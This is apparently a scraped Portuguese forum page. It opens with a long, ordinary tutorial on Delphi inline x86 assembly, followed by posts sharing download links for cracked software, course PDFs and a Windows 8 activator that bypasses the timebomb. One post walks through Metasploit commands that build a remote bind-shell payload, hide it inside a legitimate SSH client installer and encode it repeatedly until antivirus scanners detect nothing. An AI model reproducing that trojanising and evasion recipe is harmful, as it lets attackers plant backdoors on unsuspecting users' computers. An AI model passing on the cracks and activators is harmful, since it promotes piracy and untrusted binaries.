bloco begin..end. As etiquetas devem ser declaradas em uma seção Label, como em qualquer código Object Pascal, a menos que foram prefixadas por "@@": function ENumeroMagico(x: integer): boolean; asm cmp eax, NumeroMagico je @@Bingo xor eax, eax ret @@Bingo: mov eax, 1 end; As etiquetas prefixadas por "@@" são locais ao bloco asm..end em que são usadas. Isto gerará um erro da compilaçao: begin .... asm .... @@destino: .... end; .... asm .... jnz @@destino // Error .... end; .... end; Para corrigi-lo, necessitamos usar uma etiqueta convencional, local ao procedimento ou à função: label destino; begin .... asm .... destino: .... end; .... asm .... jnz destino // Correto .... end; .... end; Operandos ========= Certas vezes, um ou mais operandos são implícitos. Por exemplo, a instrução CDQ (Converta Dword para Qword) parece não utilizar operando algum; entretanto, essa instrução utiliza EDX e EAX: o bit mais alto de EAX, o bit de sinal, é copiado para EDX de forma que, EDX:EAX passa a representar o inteiro em EAX convertido para Int64, onde EAX carrega os 32 bits menos significativos e EDX os 32 bits mais significativos. Para a maioria das instruções, os operandos são registradores. Por exemplo: mov eax, ecx copia o valor de ECX para EAX. Operandos podem conter valores imediatos: mov eax, 5 mov eax, 2 + 3 // expressão constante, resolvida na compilação mov al, 'A' // o código ASCII de 'A' é $41 (65) mov eax, 'ABC' // equivalente a MOV EAX, $00414243 Operandos também podem conter referências de memória: mov [ebx], eax // EBX^ := EAX; Referências de memória aparecem de várias formas: mov eax, [$000FFFC] // Endereço absoluto mov eax, [ebx] // Registrador mov eax, [ebp-12] // Registrador mais/menos deslocamento // constante mov eax, [ebp+ebx] // Registrador mais deslocamento em registro mov eax, [ebp+ebx+8] // Registrador mais deslocamento em registro // mais/menos deslocamento constante mov eax, [ebp+ebx*4] // Registrador mais deslocamento em registro // multiplicado por constante mov eax, [ebp+ebx*4+8] // Registrador mais deslocamento em registro // multiplicado por constante, mais/menos // deslocamento constante Os identificadores usuais do Pascal são traduzidos para uma das formas: mov eax, parâmetro // mov eax, [ebp + deslocamento_constante] mov eax, varlocal // mov eax, [ebp - deslocamento_constante] mov eax, varglobal // mov eax, [endereço_absoulto] call procname // chama endereço absoluto Primeiro Exemplo ================ Agora que estamos prontos para aprender alguns opcodes, vamos aos exemplos. Podemos começar com uma função simples: function f(x: integer; y: integer): integer; // f(x,y) = (-x-y+5)*7 { begin Result := (-x - y + 5) * 7; end; } asm // os parâmetros são passados em EAX (x) e EDX (y); neg eax // EAX := -EAX; // EAX = -x sub eax, edx // EAX := EAX - EDX; // EAX = -x-y add eax, 5 // EAX := EAX + 5; // EAX = -x-y+5 imul 7 // EAX := EAX * 7; // EAX = (-x-y+5)*7 end; Os três primeiros parâmetros (da esquerda para a direita) são passados em EAX, EDX e ECX. Para métodos, o primeiro parâmetro é Self (passado em EAX) e o primeiro parâmetro explicitamente declarado é, de fato, o segundo parâmetro (passado em EDX) e o segundo parâmetro explícito é de fato o terceiro parâmetro (passado em ECX). O valor de retorno deve ser armazenado em EAX para valores ordinais de 32 bits (AX e AL devem ser utilizados para retornar valores de 16 e 8 bits respectivamente). Os comentários explicam os opcodes de forma clara mas, para IMUL, temos que acrescentar duas explicações: * IMUL considera os operandos (EAX e 7 no exemplo) como inteiros com sinal (devemos utilizar MUL quando os operandos não possuírem sinal). * O resultado da multiplicação é um inteiro de 64 bits sendo que os 32 bits mais significativos do resultado são armazenados em EDX. Multiplicações são relativamente caras em termos de tempo de CPU e, por vezes, é mais fácil substitui-las por deslocamentos de bits (quando a multiplicação ou divisão operarem com potências de dois), somas e subtrações. Por exemplo: a * 7 = a * (8 - 1) = a * 8 - a = a * 2^3 - a a * 7 = a shl 3 - a Ao invés de IMUL 7, podemos fazer o seguinte: mov ecx, eax // ECX := EAX; // ECX = -x-y+5 shl eax, 3 // EAX := EAX shl 3; // EAX = (-x-y+5)*8 sub eax, ecx // EAX := EAX - ECX; // EAX = (-x-y+5)*8 - (-x-y+5) // EAX = (-x-y+5)*7 Vejamos outro exemplo: function resto(x: integer; y: integer): integer; // Retorna o resto de x dividido por y { begin Result := x mod y; end; } asm // os parâmetros são passados em EAX (x) e EDX (y); mov ecx, edx // ECX := EDX; // EDX = y cdq // EDX:EAX := Int64(EAX); // EAX = x idiv ecx // divisão inteira com sinal em 32 bits: // EAX := Int64(EDX:EAX) div integer(ECX); // EDX := Int64(EDX:EAX) mod integer(ECX); mov eax, edx // Result := EDX; // resto end; A Pilha ======= Quando um programa é carregado, ele receve uma pilha, que é uma região de memória utilizada como uma estrutura LIFO, "Last In, First Out" (último a chegar, primeiro a sair), controlada pelo registrador ESP que aponta para o topo dessa pilha. ESP inicia apontando para o final da região de modo que, cada vez que empilhamos um novo valor de 32 bits, o registrador ESP é decrementado em 4 (bytes) e o valor é armazenado no local apontado por ESP. | | +-----------+ | | +-----------+ | $01234567 | <- ESP +-----------+ | | PUSH $89ABCDEF // SUB ESP,4; MOV [ESP],$89ABCDEF | | +-----------+ | $89ABCDEF | <- ESP +-----------+ | $01234567 | +-----------+ | | De forma análoga, quando retiramos um valor de 32 bits da pilha, o valor é recuperado do local apontado por ESP e ESP é incrementado em 4 (bytes). POP EAX // MOV EAX,[ESP]; ADD ESP,4 | | +-----------+ +-----------+ | $89ABCDEF | EAX | $89ABCDEF | +-----------+ +-----------+ | $01234567 | <- ESP +-----------+ | | A pilha é utilizada para armazenar endereços de retorno de rotinas, parâmetros, variáveis locais e resultados intermediários. No exemplo a seguir, utilizamos a pilha para salvar o valor de um registrador para uso posterior: function IntDiv(x: integer; y: integer; r: pinteger = NIL): integer; // Retorna o quociente inteiro x / y e o resto em r { begin Result := x div y; if r <> NIL then r^ := x mod y; end; } asm // os parâmetros são passados em EAX (x), EDX (y) e ECX ® push ecx // Salve ECX ® para uso posterior mov ecx, edx // ECX := EDX; // ECX = y cdq // EDX:EAX := Int64(EAX); // EAX = x idiv ecx // divisão inteira com sinal em 32 bits: // EAX := Int64(EDX:EAX) div integer(ECX); // EDX := Int64(EDX:EAX) mod integer(ECX); pop ecx // Restaura ECX (ECX := r) cmp ecx, 0 // if ECX = NIL then jz @@end // goto @@end; mov [ecx], edx // ECX^ := EDX; // resto @@end: // identificador local (precedido por "@@") end; Note que, para cada PUSH que executamos, temos que executar um POP correspondente de modo que ESP fique inalterado (ESP é um dos registradores que temos que preservar). A instrução CMP subtrai o segundo operador do primeiro (ECX-0 nesse caso), como a instrução SUB, mas o resultado não é armazenado em lugar algum, ainda que o indicador de Zero (Zero flag) seja marcado (ligado) ou limpo (desligado) dependendo do resultado ser zero ou não, como em qualquer instrução lógica ou matemática (com a exceção de certos casos). Podemos então tirar vantagem desse fato e, ao invés de escrevermos cmp ecx, 0 podemos escrever or ecx, ecx // ECX := ECX or ECX; O resultado de ECX Or ECX é o próprio ECX; portanto, o valor armazenado em ECX é o mesmo de antes, e como dissemos anteriormente o indicador de Zero será marcado se o resultado for zero (isto é, se ECX era zero). A instrução JZ, "Jump if Zero" (Desvie se Zero), desvia (salta) para o identificador indicado como operando se o valor do indicador de Zero estiver marcado (ligado) ou continua normalmente com o fluxo de execução se o indicador de Zero estiver desmarcado (desligado). Passando Parâmetros para a Pilha -------------------------------- Voltemos para a pilha. Dissemos que os três primeiros parâmetros de uma rotina são passados em EAX, EDX e ECX; mas, o que acontece quando temos mais de três parâmetros? Parâmetros adicionais são passados na pilha, da esquerda para a direita, de forma que o último parâmetro será sempre o primeiro da pilha. Suponha que temos a seguinte função function Soma(a, b, c, d, e: integer): integer; begin Result := a + b + c + d + e; end; e queremos fazer a chamada Sum(1,2,3,4,5); Em assembler, faríamos da seguinte forma: mov eax, 1 mov edx, 2 mov ecx, 3 push 4 push 5 call Sum A instrução CALL empilha o endereço de retorno na pilha e salta para (inicia a execução) da função. A instrução RET (RETorna) gerada pelo compilador quando o final de uma função é alcançado desempilha esse endereço da pilha e salta para ele para continuar a execução a partir desse ponto. Note que quando empilhamos parâmetros na pilha mas não os desempilhamos. Isso acontece pois limpar a pilha é responsabilidade da função chamada e não da função que chama (exceto na convenção de chamada CDECL). Para limpar os parâmetros, a instrução RET é utilizada com um operando que indica o número de bytes que ESP deve ser incrementado (8 nesse caso já que ESP foi decrementado em 4 bytes para cada parâmetro empilhado). O compilador fica encarregado dessa tarefa portanto não temos com que nos preocupar; mas, se você utilizar a janela de depuração da CPU e encontrar uma instrução RET $08, agora você já sabe do que se trata. Na entrada para Soma, a pilha estaria, em teoria, da seguinte forma: | | +-----------+ | Ret_Addr | <- ESP +-----------+ | $00000005 | (parâmetro e) +-----------+ | $00000004 | (parâmetro d) +-----------+ | | Quando uma função tem parâmetros na pilha (ou variáveis locais), o compilador gera algumas instruções chamadas de "stack frame", quadro da pilha. Na entrada da função (em "asm"), EBP é empilhado de modo a ser preservado e ESP é atribuído a ele; e, antes de deixar a função, (em "end"), o valor original de EBP é desempilhado: function Soma(a, b, c, d, e: integer): integer; asm // push ebp; mov ebp, esp; .... end; // pop ebp; ret 8; Assim, quando entramos em Soma, a pilha estaria de fato da seguinte forma: | | +-----------+ | Orig. EBP | <- EBP, ESP +-----------+ | Ret_Addr | +-----------+ | $00000005 | <- EBP+8 (parâmetro e) +-----------+ | $00000004 | <- EBP+12 (parâmetro d) +-----------+ | | Em [EBP] encontramos o valor original de EBP que foi empilhado para ser preservado quando da construção do quadro de pilha; em [EBP+4] encontramos o endereço de retorno da rotina; em [EBP+8] encontramos o último parâmetro (o último parâmetro é empilhado por último e, por isso, é o primeiro da pilha). O parâmetro seguinte (da direita para a esquerda) fica em [EBP+12], e assim por diante se houvesse outros parâmetros. Agora vamos escrever a rotina Soma em assembler: function Soma(a, b, c, d, e: integer): integer; { begin Result := a + b + c + d + e; end; } asm add eax, b add eax, c add eax, d add eax, e end; Note que no bloco asm..end nós utilizamos "b", "c", "d" e "e" ao invés de "EDX", "ECX", "[EBP+12]" e "[EBP+8]" respectivamente. Nós podemos fazer assim já que o compilador fará as substituições adequadas. Variáveis Locais na Pilha ------------------------- Se nossa função assembler inline tiver variáveis locais, o compilador criará espaço para essas variáveis na pilha, movendo o ponteiro da pilha de modo que o quadro da pilha para uma função com duas variáveis locais inteiras seria: push ebp mov ebp, esp sub esp, 8 // Desloca ESP como se empilhássemos 8 bytes ... add esp, 8 // Desloca ESP como se desempilhássemos 8 bytes pop ebp Para o propósito do exemplo, aqui vai uma variação da rotina Soma acima, utilizando duas variáveis locais: function SomaL(a, b, c, d, e: integer): integer; var f, g: integer; { begin f := b + c; g := d + e; Result := a + f + g; end; } asm // push ebp; mov ebp, esp; sub esp, 8; add edx, ecx mov f, edx // b + c mov edx, d add edx, e mov g, edx // d + e add eax, f add eax, g end; // add esp, 8; pop ebp; ret 8 Nessa função, a pilha teria o seguinte aspecto: | | +-----------+ | var. g | <- EBP-8, ESP +-----------+ | var. f | <- EBP-4 +-----------+ | Orig. EBP | <- EBP +-----------+ | Ret_Addr | +-----------+ | Param e | <- EBP+8 +-----------+ | Param d | <- EBP+12 +-----------+ | | O Que Vem Agora? ================ Na continuação deste artigo, aprenderemos mais instruções e veremos como passar e retornar outros tipos de parâmetros, como trabalhar com arrays, como acessar campos de registros e objetos, como chamar métodos e mais. Nesse capítulo iremos aprender algumas novas instruções assembler e o básico da manipulação de strings ANSI, também chamadas de strings longas. Novos opcodes ============= Abaixo os opcodes introduzidos neste atrigo: * JL (Jump if Lower, desvie se menor): A descrição mais adequada levaria muito tempo para ser explicada, então vamos dizer que JL salta (desvia) para o label especificado desde que na operação CMP (ou SUB) anterior o primeiro operando seja menor que o segundo numa comparação com sinal: // if signed(op1) < signed(op2) then goto @@label; cmp op1, op2 jl @@label JG (Jump if Greater, desvie se maior), JLE (Jump if Lower or Equal, desvie se menor ou igual) e JGE (Jump if Greater or Equal, desvie se maior ou igual) completa a família de desvios condicionais para comparações com sinal. * JA (Jump if Above, desvie se maior): salta (desvia) para o label especificado desde que na operação CMP (ou SUB) anterior o primeiro operando seja maior que o segundo numa comparação sem sinal: // if unsigned(op1) > unsigned(op2) then goto @@label; cmp op1, op2 ja @@label JB (Jump if Below, desvie se menor), JBE (Jump if Below or Equal, desvie se menor ou igual) e JAE (Jump if Above or Equal, desvie se maior ou igual) completam a família de desvios condicionais para comparações sem sinais. * LOOP: Decrementa ECX e, se não for zero, desvia para o label indicado. LOOP @@label é o equivalente mais curto e rápido de: dec ecx // ECX := ECX - 1; jnz @@label // if ECX <> 0 then goto @@label Examplo: xor eax, eax // EAX := EAX xor EAX; // EAX := 0; mov ecx, 5 // ECX := 5; @@label: add eax, ecx // EAX := EAX + ECX; // Executado 5 vezes loop @@label // Dec(ECX); if ECX <> 0 then goto @@label; // EAX seria 15 (5+4+3+2+1) Trabalhando com strings ANSI ============================ Uma variável string é representada por um ponteiro de 32 bits. Se a string é vazia (''), então o ponteiro é nil (zero), caso contrário, esse ponteiro aponta para o primeiro caractere dessa string. O tamanho da string e a contagem de referência são dois inteiros em deslocamentos negativos a partir do primeiro byte da string: +-----------+ | s: string |-------------------+ +-----------+ | V --+-----------+-----------+-----------+---+---+---+---+---+---+---+-- | allocSiz | refCnt | length | H | e | l | l | o | ! | #0| --+-----------+-----------+-----------+---+---+---+---+---+---+---+-- (longint) (longint) (longint) \-----------------v-----------------/ StrRec record const skew = sizeof(StrRec); // 12 Quando passamos uma string como um parâmetro para uma função, o que de fato é passado é o ponteiro de 32 bits. Os valores string são um pouco mais complicados de explicar. A rotina que chamou a rotina que retorna a string deve passar- como último e invisível parâmetro da chamada, um tipo PString-o endereço de uma variável string que receberá o resultado da função. d := Uppercase(s); // Internamente convertido para: Uppercase(s, @d); Se o resultado da função é usado em uma expressão ao invés de ser atribuído diretamente à variável, a rotina que chama deve utilizar uma variável temporária incializada com nil (string vazia). O compilador faz tudo isso automaticamente no nosso código Object Pascal mas, se temos que fazer isso por conta própria se optarmos por escrever código assembler que chame rotinas que retornam strings. Para algumas tarefas, não podemos chamar as clássicas funções de string diretamente. Por exemplo, a função Length não é o nome de uma função de verdade,. é uma construção interna do próprio compilador e o compilador gera o código para a função apropriada, dependendo do parâmetro ser uma string ou um array dinâmico. Em assembler, ao invés de Lenght, teríamos que usar a função LStrLen (declarada na unidade System) para obter o tamanho da string. Existem mais coisas que deveríamos saber a respeito das strings mas o que temos já é suficiente para um primeiro exemplo. Versão Assembler de Uppercase ============================= Eis a declaração da função: function AsmUpperCase(const s: string): string; O parâmetro "s" será passado em EAX e o endereço de "Result" será passado como o segundo parâmetro, ou seja, em EDX. Basicamente a função deve fazer: 1) Obter o comprimento da string a converter 2) Alocar memória para a string convertida 3) Copiar os caracteres um a um, convertidos para maiúsculas 1) Obter o comprimento da string a converter -------------------------------------------- Faremos isso através de uma chamada a System.@LStrLen. A função espera a string em EAX (ela já está lá) e o resultado será colocado em EAX; então, temos que salvar o valor de EAX (o parâmetro "s") em algum lugar antes de chamar a função de modo que "s" não seja perdido. Podemos salvar numa variável local "src". Já que funções são livres para utilizar os registradores EAX, ECX e EDX, presumimos que o valor em EDX ("@Result") poderia também ser destruído após uma chamada a System.@LStrLen, de modo que é útil salvar esse valor numa variável local, por exemplo, "psrc". O resultado da chamada a System.@LStrLen, deixado em EAX, servirá como parâmetro da chamada a System.@LStrSetLength (para alocar memória para o conteúdo da string de resultado), como contador dos bytes a copiar, de modo que esse valor também deve ser salvo, por exemplo, na variável "n": var pdst: Pointer; // Endereço da string resultado src: PChar; // String de origem n: Integer; // Comprimento da string de origem asm // O endereço da string de resultado é passado em EDX. // Salvamos esse valor na variável pdst: mov pdst, edx // pdst := EDX; // Salvamos EAX (s) na variável local (src) mov src, eax // src := EAX; // n := Length(s); call System.@LStrLen // EAX := LStrLen(EAX); mov n, eax // n := EAX; 2) Alocar memória para a string convertida ------------------------------------------ A alocação é realizada através de uma chamada a System.@LStrSetLength. O procedimento espera dois parâmetros: o endereço da string (que salvamos em "pdst") e o comprimento da string (que está em EAX). // SetLength(pdst^, n); // Alocar a string de resultado mov edx, eax // EDX := n; // Segundo parâmetro p/LStrSetLength mov eax, pdst // EAX := pdst; // Primeiro parâmetro p/LStrSetLength call System.@LStrSetLength // LStrSetLength(EAX, EDX); 3) Copiar os caracteres um a um, convertidos para maiúsculas ------------------------------------------------------------ Se o comprimento da string era zero, já terminamos: // if n = 0 then exit; mov ecx, n // ECX := n; test ecx, ecx // Fazer and de ECX com ECX para definir flags // (ECX inalterado) jz @@end // Ir para @@end se o flag zero está marcado (ECX=0) Não sendo esse o caso, devemos copiar os caracteres de uma string para a outra, convertendo-os para maiúsculas conforme necessário. Nós vamos utilizar ESI e EDX para apontar para os caracteres da string de origem e destino respectivamente, AL para carregar os caracteres da string de origem e realizar a mudança antes de armazená-los na string de destino e ECX para controlar a instrução de LOOP que contará os caracteres. Já que ESI é um registro que tem que ser preservado, devemos salvar seu valor para restaurá-lo mais tarde. Decidi salvar ESI colocando-o na pilha. push esi // Salve ESI na pilha // Inicializar ESI e EDX mov eax, pdst // EAX := pdst; // Endereço da string de resultado mov esi, src // ESI := src; // String de origem mov edx, [eax] // EDX := pdst^; // String de resultado @@cycle: mov al, [esi] // AL := ESI^; // if Shortint(AL) < Shortint(Ord('a')) then goto @@nochange cmp al, 'a' jl @@nochange // AL in ['a'..#127] // if Byte(AL) > Byte(Ord('a')) then goto @@nochange cmp al, 'z' ja @@nochange // AL in ['a'..'z'] sub al, 'a'-'A' // Dec(AL, Ord('a')-Ord('A')); @@nochange: mov [edx], al // EDX^ := AL; inc esi // Inc(ESI); inc edx // Inc(EDX); loop @@cycle // Dec(ECX); if ECX <> 0 then goto cycle pop esi // Restaurar ESI da pilha @@end: end;
  12. Fabricante: Versão: v4.15.4725 Plataforma PC Estilo: Utilitário Lançamento: 2014 Ídiomas: ENG Formato: Rar Tamanho: 10 MB Crack: Incluído Descrição: CCleaner é uma das soluções mais poderosas e eficazes para efetuar a limpeza completa no PC, apagando arquivos desnecessários do disco de armazenamento. Nosso computador possui uma série de arquivos que são registrados diariamente para armazenar informações de sistema, cookies de navegação, registros de programas instalados e desinstalados, dados de backup, históricos de mensageiros instantâneos, entre outros.
  13. Aqui estamos reunidos alguns Oficial + Mirror links direto para download Windows 8 DVD ISO 32-bit e 64-bit da Imagem de Instalação (Dev Edição Preview) -. Depois de pegar algumas edições vazaram anteriormente, finalmente, uma Developer Preview oficial edição foi disponibilizada para download. Como a próxima geração para continuar o sucesso do Windows 7, Microsoft Windows 8 requisitos do sistema são muito semelhantes ao Windows 7. Isso significa que, contanto que seu PC pode rodar o Windows 7 sem problemas, então você deve ser capaz de instalar o Windows 8 em seu especificações atuais. Algumas especificações mínimas para o Windows 8 são: Processador de 1 GHz com 1 GB de RAM, 16 GB de espaço livre no disco rígido e uma placa gráfica DirectX 9 com WDDM 1.0 ou superior driver. Felizmente, todos agora pode testá-lo legalmente desde que a Microsoft acaba de fazer o Windows 8 DVD. Arquivo de imagem ISO disponível para download público. Esta versão pública do Windows edição Prévia 8 Desenvolvedor está disponível para máquinas de 32 bits e 64 bits. Direct Link oficial: Download Windows 8 Pré-visualização de 32 bits Dev. ISO Nome do arquivo: WindowsDeveloperPreview-32bit-English.iso Tamanho do Arquivo: 2,83 GB Download Windows8 .ISO via Official Direct Link Download Windows 8 Pré-visualização de 64 bits Dev. ISO (com Developer Tools) Nome do arquivo: WindowsDeveloperPreview-64bit-Inglês-Developer.iso Tamanho do Arquivo: 4,84 GB Download Windows8 .ISO via Official Direct Link Download Windows 8 Pré-visualização de 64 bits Dev. ISO (sem Developer Tools) Nome do arquivo: WindowsDeveloperPreview-64bit-Inglês-Developer.iso Tamanho do Arquivo: 3,64 GB Download Windows8 .ISO via Official Direct Link LEIA ESTE TOPICO DE ATIVAçãO : http://cyber-gamers....-activator-094/
  14. Ano de Lançamento: 2013 Curso: Curso Excel 2010 Avançado Editora: SENAC Páginas: 256 Formato: PDF Tamanho: 36 Mb Para a execução das atividades dos capítulos, há disponivel uma pasta que acompanha a apostila.Para facilitar seu trabalho, faça uma cópia da pasta “PLANILHAS – ATIVIDADES” para sua Área de Trabalho. Esta pasta contém todos os arquivos necessários para a execução de suas atividades e dos exercícios propostos.Além dela, há uma pasta chamada “PLANILHAS RESOLVIDAS”, que contém os arquivos finais das atividades e exercícios propostos para você possa comparar com as atividades executadas por você. Esta apostila está dividida em 14 capítulos: Cada capítulo contém atividades práticas e informações teóricas sobre o software. Capítulo 1 – Funções matemáticas, estatísticas, lógicas e manipulação de datas Capítulo 2 – Funções de Pesquisa e Auditoria de Fórmulas 45 Capítulo 3 – Funções de Texto 65 Capítulo 4 – Funções de Banco de Dados 75 Capítulo 5 – Importação de Dados para o Excel 89 Capítulo 6 – Filtro, Classificação e Filtro Avançado 107 Capítulo 7 – Visualização de Dados 129 Capítulo 8 – Tabela Dinâmica 137 Capítulo 9 – Resumindo Dados 159 Capítulo 10 – Validação de Dados 181 Capítulo 11 – Utilizando pasta de trabalho em equipe 189 Capítulo 12 – Simulações 201 Capítulo 13 – Macros Intrativas 219 Capítulo 14 – Automação de Planilhas 237 http://bitshare.com/files/mlthgbyu/Excel-2010-Avancado-SENAC-Cyber-Gamers-.rar.html - http://filevice.com/5ttqark9yjsp - http://www.sharebeast.com/cxzgq61497s5
  15. Titulo: Curso: Photoshop – Tratamento de Imagens Autor: André rossiter Lançamento: 2013 Estilo: Vídeo Aulas Formato: Rar Tamanho: 597 MB Conteúdo: Como envelhecer foto Como pintar cabelo Como recortar cabelo – refine edge Como recortar cabelo Como remover maquiagem utilizando Dica em maquiagem digital no Clareamento dental Continua… Como corrigir foto embaçada como corrigir fotos escuras Como corrigir olhos vermelhos Como mudar a cor dos olhos Como remover pessoas da foto – Tecnica 1 Como remover pessoas da foto – Tecnica 2 Converter foto para preto e branco Corrigir flash no photoshop cs5 – nova dica Emagrecer Limpeza de pele Maquiagem digital – batom – tecnica 1 Maquiagem digital – batom – tecnica 2 Maquiagem digital efeito boneca Imagem panoramica Remover espinhas Tratamento de imagem avançado Remover manchas
  16. Titulo: Programando na Linguagem C Para Iniciantes Autor: Jaime Evaristo Páginas : 139 Tamanho: 1 mb Índice 1. Introdução à Programação 2. Introdução à Linguagem C 3 Estruturas de seleção 4. Estruturas de repetição 5. Funções e ponteiros 6 Vetores 7 Pesquisa e ordenação 8. Cadeias de caracteres (strings) 9 Estruturas e Arquivos 10 Noções básicas de alocação dinâmica de memória Download http://www.4shared.com/rar/YvR7i8vU/aprender_c_inicinates-_Cyber-G.html http://www.badongo.com/file/26694568 http://bayfiles.com/file/6Y6t/wKdQhN/aprender_c_inicinates-_Cyber-Gamers.rar http://rapidshare.com/files/2559673641/aprender_c_inicinates-_Cyber-Gamers.rar http://www.sendspace.com/file/54kwmh http://ul.to/2eigxemm http://www.ziddu.com/download/19053772/aprendercinicinates-Cyber-Gamers.rar.html http://www3.zippyshare.com/v/25556256/file.html
  17. Idioma: Inglês Tamanho: 402 mb Release by: LordRock Vegas ™ Pro 13 é um NLE contemporâneo projetado para total controle criativo. Os novos recursos incluem ferramentas avançadas de arquivo, medição de áudio sofisticado, eo Pro Ligue Mobile App companheiro iPad Vegas. Vegas ™ Pro 13 vem completo com DVD Architect ™ Pro 6, Dolby ® Digital Encoder Professional, e plug-in coleções de FXhome, NewBlueFX e iZotope ® O que há de novo no Vegas Pro 13 Vegas Pro 13 leva passos de gigante no sentido de tornar a experiência total de criação multimídia mais rápido e mais fácil do que nunca. Além de avanços tecnológicos que abrangem todo o processo de produção de ingerir à edição de arquivamento, o aplicativo para iPad Ligação Vegas Pro oferece várias opções de processo de revisão colaborativa verdadeiramente únicas que elevam cliente e participação dos membros da equipe para um nível totalmente novo. Download MEGA:http://adf.ly/kjjRD DepositFile:http://adf.ly/kjeyo
  18. Tou meio sumido mais hoje to ai ne :D O que você precisa? Ter instalado Linux BackTrack, em seu Computador [Ou instale na maquina virtual]. Criando um Listener Esse comando e simples que dá o controle remoto como uma invasão de uma máquina. Não é um vírus, e não se espalhar, mas é detectado por antivírus. Em BackTrack, abra a janela de comando e digita o comando abaixo: Comando: msfpayload windows/shell_bind_tcp LPORT=2482 X &--#62; /root/listen.exe ls -l listen.exe Você deverá ver o arquivo listen.exe, como o da imagem abaixo: Analisando com VirusTotal Vá ate o site https://www.virustotal.com/ Clique no botão "Selecionar arquivo". Navegue para / root e dê um duplo clique no [listen.exe] Apos isso clique em "Analise" Se você ver uma mensagem "O arquivo já analisados", clique em "Ver última análise" A análise mostra que muitos dos antivírus detectou o arquivo - [33 de 42], mas muitos dos motores de virus vão detectár. Salvando a imagem da tela Certifique-se que do resultado"detecção: 33/42", Salvar a imagem nome "Virus Total 1". Codifica a Listener Este processo irá codifica-ló e inseri-lo em um arquivo SSH. Agora execute os seguintes comandos: wget ftp://ftp.ccsf.edu/p...lient-3.2.9.exe msfencode -i /root/listen.exe -t exe -x /root/sshSecureShellClient-3.2.9.exe -k -o /root/evil_ssh.exe -e x86/shikata_ga_nai -c 1 ls -l evil* Você deverá ver o arquivo mal-ssh.exe, como mostrado abaixo: Analisando o Listener codificados com VirusTotal Vá ate o site https://www.virustotal.com/ Clique no botão "Selecionar arquivo". Navegue para / root e dê um duplo clique no [mal-ssh.exe] Apos isso clique em "Analise" Se você ver uma mensagem "O arquivo já analisados", clique em "Ver última análise" A análise mostra que foi detectado agora - [21 de 42] Ultima Codificação Este processo irá codificar com várias codificações diferentes. Agora execute esses comandos: msfencode -i /root/listen.exe -t raw -o /root/listen2.exe -e x86/shikata_ga_nai -c 1 msfencode -i /root/listen2.exe -t raw -o /root/listen3.exe -e x86/jmp_call_additive -c 1 msfencode -i /root/listen3.exe -t raw -o /root/listen4.exe -e x86/call4_dword_xor -c 1 msfencode -i /root/listen4.exe -o /root/listen5.exe -e x86/shikata_ga_nai -c 1 ls -l listen* Você irá ver varios arquivos: Analisando o Listener codificado com VirusTotal Vá ate o site https://www.virustotal.com/ Clique no botão "Selecionar arquivo". Navegue para / root e dê um duplo clique no [listen5.exe] Apos isso clique em "Analise" Se você ver uma mensagem "O arquivo já analisados", clique em "Ver última análise" A análise mostra que foi detectado nada agora - [0 de 42]
  19. Activator permite ignorar as restrições sobre os passos de tempo (timebomb) para construir 7850, por causa de que a ativação não era possível e isso causou alguns transtornos para querer testar-Win 8 nesta fase de desenvolvimento. Depois de instalar o Windows 8 build 7850 Empresa M1 x86 para arrancar em modo de segurança (F8 durante a inicialização, selecione Modo de Segurança), execute o ativador eo primeiro: remove timebomb (Button Remover Timebomb!), Em seguida, reiniciar e ativar. Windows será ativado por 180 dias, após o que será necessário repetir o procedimento de ativação. Você pode usar o ativador mini-KMS e instalar a ativação do serviço, que permite esquecer o limite de 180 dias (de ativação será automática). Escolher o método de ativação de sua escolha, o principal problema - remove timebomb, resolvidos com sucesso por este ativador. Mudou em 0.9.4: recurso de log Tudo poderia ser feito em Modo Normal agora créditos atualizados Mais nenhuma janela de congelamento durante a ativação ou atualizar Permitindo que recursos ocultos agora exibe mensagem após a conclusão Timebomb restaurar fixa Download: Badongo - DepositFile - Fileserve - Mediafire - Rapidshare - Sendspace - Para fazer Scanner do seu Download recomendo o Novirusthanks.org
  20. Fabricante: immunityinc Versão do Aplicativo: 1.85 Plataforma: Pc Estilo: Utilitários Lançamento: 2014 Ídiomas: Inglês Formato: RAR Tamanho: 21 MB Crack: Desnecessário Immunity Debugger é uma nova e poderosa maneira de escrever exploits, analisar malware e engenharia reversa de arquivos binários. Baseia-se em uma interface sólida com gráficos de funções, a primeira ferramenta de análise de pilha da indústria construído especificamente para a criação de montão, e uma API grande e bem suportado Python para fácil extensibilidade. Um depurador com funcionalidade projetada especificamente para a indústria de segurança Cuts explorar o tempo de desenvolvimento em 50% Simples, interfaces compreensíveis linguagem de script robusta e poderosa para automatizar depuração inteligente depuração leve e rápido para evitar a corrupção durante a complexa análise de conectividade para fuzzers e explorar ferramentas de desenvolvimento Download MEGA:http://adf.ly/iWtTA Bitshare:http://adf.ly/iWtEo Uploaded:http://adf.ly/iWtJG DepositFile:http://adf.ly/iWtAV
  21. Titulo: Curso: Microsoft Office: Para Gestores Autor: Luciano Augusto Lançamento: 2013 Estilo: Vídeo Aulas Formato: Rar Tamanho: 757 MB Este treinamento junta 4 aplicativos da Família Office: Access, Excell, Outlook e Word. Todas as aulas são voltadas para o auxílio do gerenciamento de empresas e trabalhos com estes aplicativos. O objetivo é auxiliar Micro – Empresários e até quem trabalha com os aplicativos citados acima para automatizarem seus trabalhos tornando tudo mais eficiente e prático. Download MEGA:http://adf.ly/gvQHw DepositFile:http://adf.ly/gvQN2
  22. Editora/Creditos: SEC Estilo: Video Aulas Formato: Rar Tamanho: 3,8 Gbs Curso no Formato .ISO com diversas video-aulas ensinando como criar um site completo com um sistema de noticias tudo em PHP. Bem interessante. Confira abaixo a lista completa de todo conteudo oferecido nos 12 capítolos… Conteudo: Capítulo 1 Apresentação do Curso – o que criaremos? o Site completo o Server Side Include o Sistema de Notícias Necessidade de Layout / Wireframe o Criando o WireFrame Capítulo 2 Criando os detalhes do Wireframe (deixando-o mais bonito) Criando a logo Criando os menus (com botões) Finalizando (agrupando) Capítulo 3 Criando o banner – preenchimento do banner o Criando as linhas (blend path) Inserindo a imagem e ajustando-a Inserindo o texto do banner Finalizando (agrupando) Capítulo 4 Criando corpo do site Criando último trabalho Criando cliente Criando últimas notícias Finalizando (agrupando) Criando Rodapé Finalizando (agrupando) Capítulo 5 Separando as partes do site Exportando as partes Capítulo 6 Instalando o Apache / Instalando o Developer Toolbox Testando se o Apache está rodando Definindo um site no Dreamweaver com PHP Exportando arquivo de configuração Criando a página inicial (MODELO) Capítulo 7 Criando o corpo do site em um arquivo externo Criando as páginas restantes correspondentes ao menu Configurando o SSI para todas as páginas Configurando o SSI para a primeira página Testando o site localmente Capítulo 8 Criando as Páginas dos Menus 